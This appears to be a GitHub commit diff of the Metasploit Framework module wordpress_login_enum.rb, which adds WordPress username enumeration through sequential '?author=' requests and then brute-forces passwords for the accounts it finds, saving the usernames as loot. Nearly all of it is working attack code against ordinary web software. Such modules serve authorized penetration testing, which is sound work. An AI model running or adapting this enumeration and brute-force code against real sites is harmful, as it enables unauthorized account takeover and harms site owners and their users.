Skip to content

Commit 33ea21e

Browse files
committed
Merge branch '403labs-zgrace-wordpress_login_enum'
2 parents e5eb8c6 + d92b3bd commit 33ea21e

File tree

1 file changed

+76
-19
lines changed

1 file changed

+76
-19
lines changed

modules/auxiliary/scanner/http/wordpress_login_enum.rb

Lines changed: 76 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,10 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
84
# web site for more information on licensing and terms of use.
95
# http://metasploit.com/
106
##
117

12-
138
class Metasploit3 < Msf::Auxiliary
149

1510
include Msf::Exploit::Remote::HttpClient
@@ -20,27 +15,31 @@ class Metasploit3 < Msf::Auxiliary
2015

2116
def initialize
2217
super(
23-
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
24-
'Version' => '$Revision$',
25-
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
26-
'Author' => [
27-
'Alligator Security Team',
28-
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
29-
],
18+
'Name' => 'Wordpress Brute Force and User Enumeration Utility',
19+
'Description' => 'Wordpress Authentication Brute Force and User Enumeration Utility',
20+
'Author' =>
21+
[
22+
'Alligator Security Team',
23+
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
24+
'Zach Grace <zgrace[at]404labs.com>'
25+
],
3026
'References' =>
3127
[
3228
['BID', '35581'],
3329
['CVE', '2009-2335'],
34-
['OSVDB', '55713'],
30+
['OSVDB', '55713']
3531
],
3632
'License' => MSF_LICENSE
3733
)
3834

3935
register_options(
4036
[
4137
OptString.new('URI', [false, 'Define the path to the wp-login.php file', '/wp-login.php']),
42-
OptBool.new('VALIDATE_USERS', [ true, "Enumerate usernames", true ]),
38+
OptBool.new('VALIDATE_USERS', [ true, "Validate usernames", true ]),
4339
OptBool.new('BRUTEFORCE', [ true, "Perform brute force authentication", true ]),
40+
OptBool.new('ENUMERATE_USERNAMES', [ true, "Enumerate usernames", true ]),
41+
OptString.new('RANGE_START', [false, 'First user id to enumerate', '1']),
42+
OptString.new('RANGE_END', [false, 'Last user id to enumerate', '10'])
4443
], self.class)
4544

4645
end
@@ -51,6 +50,11 @@ def target_url
5150

5251

5352
def run_host(ip)
53+
usernames = []
54+
if datastore['ENUMERATE_USERNAMES']
55+
usernames = enum_usernames
56+
end
57+
5458
if datastore['VALIDATE_USERS']
5559
@users_found = {}
5660
vprint_status("#{target_url} - WordPress Enumeration - Running User Enumeration")
@@ -68,17 +72,29 @@ def run_host(ip)
6872
if datastore['VALIDATE_USERS']
6973
if @users_found && @users_found.keys.size > 0
7074
vprint_status("#{target_url} - WordPress Brute Force - Skipping all but #{uf = @users_found.keys.size} valid #{uf == 1 ? "user" : "users"}")
71-
else
72-
vprint_status("#{target_url} - WordPress Brute Force - No valid users found. Exiting.")
73-
return
7475
end
7576
end
77+
78+
# Brute-force using files.
7679
each_user_pass { |user, pass|
7780
if datastore['VALIDATE_USERS']
7881
next unless @users_found[user]
7982
end
80-
do_login(user, pass)
83+
84+
do_login(user, pass)
8185
}
86+
87+
# Brute force previously found users
88+
if not usernames.empty?
89+
print_status("#{target_url} - Brute-forcing previously found accounts...")
90+
passwords = load_password_vars(datastore['PASS_FILE'])
91+
usernames.each do |user|
92+
passwords.each do |pass|
93+
do_login(user, pass)
94+
end
95+
end
96+
end
97+
8298
end
8399
end
84100

@@ -122,7 +138,8 @@ def do_enum(user=nil)
122138
:sname => (ssl ? 'https' : 'http'),
123139
:user => user,
124140
:port => rport,
125-
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
141+
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}",
142+
126143
)
127144

128145
@users_found[user] = :reported
@@ -181,4 +198,44 @@ def do_login(user=nil,pass=nil)
181198
rescue ::Timeout::Error, ::Errno::EPIPE
182199
end
183200
end
201+
202+
def enum_usernames
203+
usernames = []
204+
for i in datastore['RANGE_START']..datastore['RANGE_END']
205+
uri = "#{datastore['URI'].gsub(/wp-login/, 'index')}?author=#{i}"
206+
print_status "#{target_url} - Requesting #{uri}"
207+
res = send_request_cgi({
208+
'method' => 'GET',
209+
'uri' => uri
210+
})
211+
212+
if (res and res.code == 301)
213+
uri = URI(res.headers['Location'])
214+
uri = "#{uri.path}?#{uri.query}"
215+
res = send_request_cgi({
216+
'method' => 'GET',
217+
'uri' => uri
218+
})
219+
end
220+
221+
if res.nil?
222+
print_error("#{target_url} - Error getting response.")
223+
elsif res.code == 200 and res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i
224+
username = $1
225+
print_good "#{target_url} - Found user '#{username}' with id #{i.to_s}"
226+
usernames << username
227+
elsif res.code == 404
228+
print_status "#{target_url} - No user with id #{i.to_s} found"
229+
else
230+
print_error "#{target_url} - Unknown error. HTTP #{res.code.to_s}"
231+
end
232+
end
233+
234+
if not usernames.empty?
235+
p = store_loot('wordpress.users', 'text/plain', rhost, usernames * "\n", "#{rhost}_wordpress_users.txt")
236+
print_status("#{target_url} - Usernames stored in: #{p}")
237+
end
238+
239+
return usernames
240+
end
184241
end

0 commit comments

Comments
 (0)